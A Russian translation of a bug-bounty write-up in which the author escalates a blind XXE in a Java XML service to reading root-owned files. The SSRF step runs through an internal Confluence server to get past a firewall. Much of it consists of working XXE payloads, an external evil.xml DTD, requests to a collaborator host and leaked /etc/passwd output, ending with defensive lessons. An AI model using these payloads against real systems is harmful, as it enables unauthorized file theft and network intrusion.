От уязвимости XXE к чтению файлов уровня суперпользователя

От уязвимости XXE к чтению файлов уровня суперпользователя

Ниже будет детально описан весь процесс, который помог мне разобраться в сути дела и превратить уязвимость средней важности в критическую брешь.

Автор: Pieter

Недавно во время одного из исследований в рамках программы Bug Bounty я столкнулся с системой, поддерживающей XML, которая выдавала очень интересные ответы при попытке эксплуатации уязвимости XXE. Никакой документации на этот XML-сервис не было за исключением статьи от 2016 года, написанной расстроенным разработчиком, у которого была масса сложностей.

Ниже будет детально описан весь процесс, который помог мне разобраться в сути дела и превратить уязвимость средней важности в критическую брешь.я столкнулся с системой, поддерживающей XML, которая выдавала очень интересные ответы при попытке эксплуатации уязвимости XXE. Никакой документации на этот XML-сервис не было за исключением статьи от 2016 года, написанной расстроенным разработчиком, у которого была масса сложностей.

Ниже будет детально описан весь процесс, который помог мне разобраться в сути дела и превратить уязвимость средней важности в критическую брешь.

Я намеренно буду акцентировать внимание на различных сообщениях об ошибках, с которыми столкнулся, чтобы вы смогли в будущем сэкономить время и сразу пойти по правильному пути.

Примечание: я не буду упоминать никаких деталей касаемо того, с чем я работал, поскольку уязвимость была обнаружена в рамках непубличной программы, и компания не пожелала, чтобы любая информация касательно среды исследования была опубликована.

Объект исследования

Система, которая привлекла мое внимание, выдавала ошибку 404 и сообщение в формате XML.

Запрос

GET /interesting/ HTTP/1.1

Host: server.company.com

Ответ

HTTP/1.1 404 Not Found

Server: nginx

Date: Tue, 04 Dec 2018 10:08:18 GMT

Content-Type: text/xml

Content-Length: 189

Connection: keep-alive

<result>

<errors>

<error>The request is invalid: The requested resource could not be found.</error>

</errors>

</result>

После того как тип запроса был изменен на POST и добавлен заголовок Content-Type: application/xml сообщение об ошибке стало выглядеть интереснее.

Запрос

POST /interesting/ HTTP/1.1

Host: server.company.com

Content-Type: application/xml

Content-Length: 30

<xml version="abc" ?>

<Doc/>

Ответ

<result>

<errors>

<error>The request is invalid: The request content was malformed:

XML version "abc" is not supported, only XML 1.0 is supported.</error>

</errors>

</result>

Если отослать XML-сообщение с правильной структурой, получаем следующий результат:

Запрос

POST /interesting/ HTTP/1.1

Host: server.company.com

Content-Type: application/xml

Content-Length: 30

<?xml version="1.0" ?>

<Doc/>

Ответ

<result>

<errors>

<error>Authentication failed: The resource requires authentication, which was not supplied wi

</errors>

</result>

Полученные ответы свидетельствуют о том, что нужно пройти авторизацию на сервере прежде, чем начать взаимодействие с системой, поддерживающей XML. К сожалению, не было никакой документации относительно получения учетных записей, и мне не удалось найти ни одного валидного аккаунта. Меня огорчало то, что многие уязвимости XXE, с которыми я сталкивался ранее, требовали первоначального подключения и хоть какого-то «корректного» взаимодействия с исследуемыми системами. Без аутентификации эксплуатация бреши могла стать намного труднее.

Однако сдаваться пока рано. Попробуем добавить DOCTYPE и проверим, заблокированы ли все внешние сущности, или мы можем продолжать наш квест.

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://59c99fu65h6mqfmhf5agv1aptgz6nv.burpcollaborator.net/x&amp;amp;amp;amp;quot;&amp;amp;a...; %ext;

]>

<r></r>

Ответ

The server was not able to produce a timely response to your request.

Я решил взглянуть в журнал Burp Collaborator в надежде обнаружить входящий HTTP-запрос, но увидел следующее:

Рисунок 1: Логи из приложения Burp Collaborator

Не повезло! Кажется, сервер преобразовал имя домена, но ожидаемый HTTP-запрос отсутствует. Более того, был превышен лимит ожидания, и через несколько секунд сервер выдал ошибку с кодом 500.

Подобное поведение больше всего похоже на работающий фаервол. Я попробовал отправлять другие запросы на разные порты, но безуспешно. На всех портах, которые я попробовал, вываливался таймаут, из чего можно сделать вывод, что фаервол успешно блокирует весь лишний исходящий трафик. Ставлю пять баллов сотрудникам, отвечающим за сетевую безопасность.

Путешествие вслепую

На данный момент у меня есть интересная находка, но дальнейшего продвижения пока нет. Вначале я пытался получить доступ к файлам, ресурсам и службам внутренней сети, чтобы создать отчет о проблемах средней критичности для заказчика исследования.

Например, запрос ниже демонстрирует, что уязвимость можно использовать для выявления существования файлов:

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "file:///etc/passwd"> %ext;

]>

<r></r>

Ответ

The markup declarations contained or pointed to by the document type declaration must be well

Ответ сервера, приведенный выше, свидетельствует о том, что файл существует и доступен на чтение для XML-парсера. Однако содержимое файла не соответствует корректной схеме DTD (Document Type Definition; Определение типа документа), и поэтому парсер выдает ошибку. Другими словами, загрузка внешних сущностей разрешена, но мы, кажется, не можем получить что-то полезное. То есть мы нашли «слепую» уязвимость XXE.

Кроме того, можно предположить, что используется SAX Parser (из Java), поскольку содержимое ошибки, скорее всего, относится к классу org.xml.sax.SAXParseExceptionpublicId. Предположение интересное, поскольку в Java есть несколько особенностей, когда дело касается XXE, о которых мы поговорим далее.

Если попробовать получить доступ к несуществующему файлу, ответ сервера будет другим:

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "file:///etc/passwdxxx"> %ext;

]>

<r></r>

Ответ

The request is invalid: The request content was malformed:

/etc/passwdxxx (No such file or directory)

Полученный результат полезен, но не более того. Попробуем приспособить найденную уязвимость XXE в качестве сканера портов.

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://localhost:22/&amp;amp;amp;quot;&amp;amp;amp;gt; %ext;

]>

<r></r>

Ответ

The request is invalid: The request content was malformed:

Invalid Http response

Полученный результат означает, что мы можем получить перечень внутренних служб. В целом, я надеялся найти что-то более интересное, но по крайней мере уже появилось нечто, о чем можно сообщить в отчете. Этот тип «слепой» уязвимости XXE во многом схож с брешью SSRF (Server-Side Request Forgery; Подделка запроса на стороне сервера), когда вы можете отсылать внутренние HTTP-запросы, но без возможности получить ответ.

Эта аналогия натолкнула меня на мысль о том, чтобы попробовать техники эксплуатации уязвимости SSRF применительно к моему случаю и возможно получить более интересные результаты. Вначале я решил проверить, есть ли поддержка других протоколов, включая https, gopher, ftp, jar, scp и так далее. Особо ничего интересного я не получил, кроме новых полезных сообщений об ошибках.

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [ <!ENTITY % ext SYSTEM "gopher://localhost/"> %ext; ]>

<r></r>

Ответ

The request is invalid: The request content was malformed:

unknown protocol: gopher

Результат интересный, поскольку в сообщении об ошибке выводится протокол, который мы указали в запросе. Запомним на будущее.

Продолжаем проводить параллели с уязвимостью SSRF и пробуем добраться до внутренних веб-приложений. Поскольку в компании, исследования для которой я проводил, работает много разработчиков, GitHub изобилует ссылками на внутренние хосты в формате x.company.internal. Я нашел несколько внутренних адресов, которые выглядят многообещающе:

· wiki.company.internal

· jira.company.internal

· confluence.company.internal

Вспоминая о том, что фаервол блокирует весь исходящий трафик, мне захотелось проверить, блокируется ли внутренний трафик, или внутренняя сеть рассматривается как более достоверная.

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://wiki.company.internal/&amp;amp;amp;quot;&amp;amp;amp;gt; %ext;

]>

<r></r>

Ответ

The markup declarations contained or pointed to by the document type declaration must be well

Мы уже видели похожее сообщение об ошибке, которое свидетельствует о том, что запрашиваемый ресурс доступен для чтения, но используемый формат некорректный. Сей факт означает, что внутренний трафик не блокируется, и наш запрос отработал успешно.

На данный момент при помощи найденной уязвимости XXE мы умеем отправлять (слепые) запросы к внутренним веб-приложениям, проверять присутствие файлов в системе и определять службы, запущенные на всех внутренних хостах. Я отчитался о своих находках и стал обдумывать другие возможности эксплуатации во время уикенда.

Новые горизонты

Вернувшись с уикенда со свежей головой, я был настроен продолжить исследование найденной уязвимости. В частности, я решил, что нефильтрованный внутренний трафик можно использовать для маршрутизации трафика наружу в случае, если мне удастся найти прокси во внутренней сети.

Обычно поиск брешей в веб-приложениях без обратной связи, как в нашем случае, когда ответы на запросы не приходят - малоперспективное занятие. Однако существует известная брешь SSRF для Jira, эксплуатация которой демонстрировалась в различных статьях.

Я немедленно решил протестировать внутренний Jira-сервер, адрес которого был найден через GitHub:

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "https://jira.company.internal/plugins/servlet/oauth/users/icon-uri?con

]>

<r></r>

Ответ

The request is invalid: The request content was malformed:

sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider…

Ох! Во время отправки HTTPS-запросов возникают ошибки каждый раз, когда верификация SSL завершается неудачно. Однако по умолчанию Jira работает как обычная HTTP-служба на TCP-порту с номером 8080. Пробуем еще раз.

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri

]>

<r></r>

Ответ

The request is invalid: The request content was malformed:

http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri

Я еще раз проверил логи в приложении Burp Collaborator, но не нашел ничего полезного. Вероятно, брешь была устранена, или отключен уязвимый плагин. Наконец, после тщетных поисков на предмет присутствия известных уязвимостей SSRF в Wiki-приложениях, я решил поискать упомянутую ранее брешь для Jira в приложении Confluence, используемого во внутренней сети и работающего по умолчанию на 8090 порту.

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic

]>

<r></r>

Ответ

The request is invalid: The request content was malformed:

The markup declarations contained or pointed to by the document type declaration must be well

И тут в логах Burp Collaborator появилось нечто интересное:

Рисунок 2: Логи в Burp Collaborator после отправки запроса приложению Confluence

Бинго! Мы успешно переправили исходящий интернет-трафик через уязвимое приложение Confluence, установленное во внутренней сети, и обошли ограничения фаервола. То есть теперь мы можем эксплуатировать XXE классическим методом. Начнем с размещение файла evil.xml на подконтрольном сервере со следующим содержимым в надежде получить полезные сообщения об ошибках:

<!ENTITY % file SYSTEM "file:///">

<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">

Рассмотрим более подробно на объявления параметров:

  1. Загружаем содержимое из внешнего источника (в нашем случае из директории / системы) в переменную %file.

  2. Объявляем переменную %ent которая предназначена для сборки объявления третьей сущности с целью…

  3. …доступа к ресурсу, находящемуся по

адресу %file (что бы там ни находилось) и загрузки содержимого в сущность data.

Обратите внимание, что мы намеренно делаем так, чтобы объявление третьей сущности было с ошибкой, поскольку в %file будет находиться не корректный путь к ресурсу, а содержимое всей директории.

Теперь, используя найденный «прокси» (в виде приложения Confluence), проверяем, что параметры %ent и &data доступны, и мы можем получить содержимое директории:

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic

%ext;

%ent;

]>

<r>&data;</r>

Ответ

no protocol: bin

boot

dev

etc

home

[...]

Прекрасно. Содержимое коревой директории сервера получено!

По результатам выше видно, что есть еще один метод получения содержимого с использованием ошибок, когда мы указываем «отсутствующий» протокол, вместо некорректного, как было ранее.

В этом случае мы решаем последнюю проблему, связанную с чтением файлов, содержащих двоеточие, поскольку при использовании вышеупомянутого метода для чтения /etc/passwd возникнет следующая ошибка:

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic

%ext;

%ent;

]>

<r>&data;</r>

Ответ

unknown protocol: root

Другими словами, чтение файла происходит до первого двоеточия. Чтобы обойти это ограничение и получить полное содержимое файла в сообщении об ошибке, нужно добавить двоеточие перед содержимым файла. В этом случае возникнет ошибка «no protocol», поскольку поле перед первым двоеточием будет пустым (т.е. неопределенным). Теперь полезная нагрузка будет выглядеть так:

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

Обратите внимание на двоеточие перед переменной %file;. Повторяя атаку с использованием «прокси», получаем следующий результат:

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic

%ext;

%ent;

]>

<r>&data;</r>

Ответ

no protocol: :root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

[…]

Мы получили отличный результат, однако можно выжать еще больше. Поскольку Java возвращает содержимое папки при доступе к директории, а не файл, возможно сделать ненавязчивую проверку на предмет прав суперпользователя посредством перечисления файлов в директории /root:

<!ENTITY % file SYSTEM "file:///root">

<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

Запрос

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/ic

%ext;

%ent;

]>

<r>&data;</r>

Ответ

no protocol: :.bash_history

.bash_logout

.bash_profile

.bashrc

.pki

.ssh

[...]

Похоже, мы поймали удачу за хвост. Нам удалось на базе «слепой» уязвимости XXE получить полноценный доступ на чтение файлов уровня суперпользователя посредством эксплуатации не очень удачной сегментации сети, необновленного сервера приложений и чрезмерно привилегированного веб-сервера. В итоге мы добились утечки данных через сообщения об ошибках.

Сделанные выводы

С позиции пентестера

  • Если что-то кажется странным, продолжайте исследование.

  • Интересный метод обработки схем URL парсером Java SAX Parser позволяет извлечь информацию при помощи новых техник. Ввиду того, что в современных версия Java нельзя загрузить многострочный файл как часть внешнего HTTP-запроса (например, так http://attacker.org/?&amp;amp;amp;amp;file;), но возможно получить многострочный ответ в сообщениях об ошибках и даже в протоколе, указываемого в URL.

С позиции системного администратора
  • Проверить, что на внутренних серверах установлены все обновления.

  • Не рассматривать внутреннюю сеть как достоверную зону. Использовать адекватную сетевую сегментацию.

  • Писать детальные сообщения об ошибках в логи, а не в HTTP-ответы.

  • Аутентификация не всегда помогает против низкоуровневых проблем таких как XXE.

Хронология событий

  • 26 ноября 2018 года – Впервые обнаружен интересный узел с поддержкой XML

  • 26 ноября 2018 года – Отправлен отчет о нахождении «слепой» уязвимости XXE, позволяющей обнаруживать файлы, директории, пути во внутренней сети и открытые порты.

  • 3 декабря 2018 года – Найден уязвимый внутренний сервер с приложением Confluence. Продемонстрирован экспериментальный код, позволяющий получить права доступа уровня суперпользователя.

  • 4 декабря 2018 года – Уязвимость исправлена, вознаграждение выплачено.

  • 6 декабря 2018 года – Запрошено разрешение на публикацию статьи.

  • 12 декабря 2018 года – Разрешение получено.

Большой брат следит за вами, но мы знаем, как остановить его

Подпишитесь на наш канал!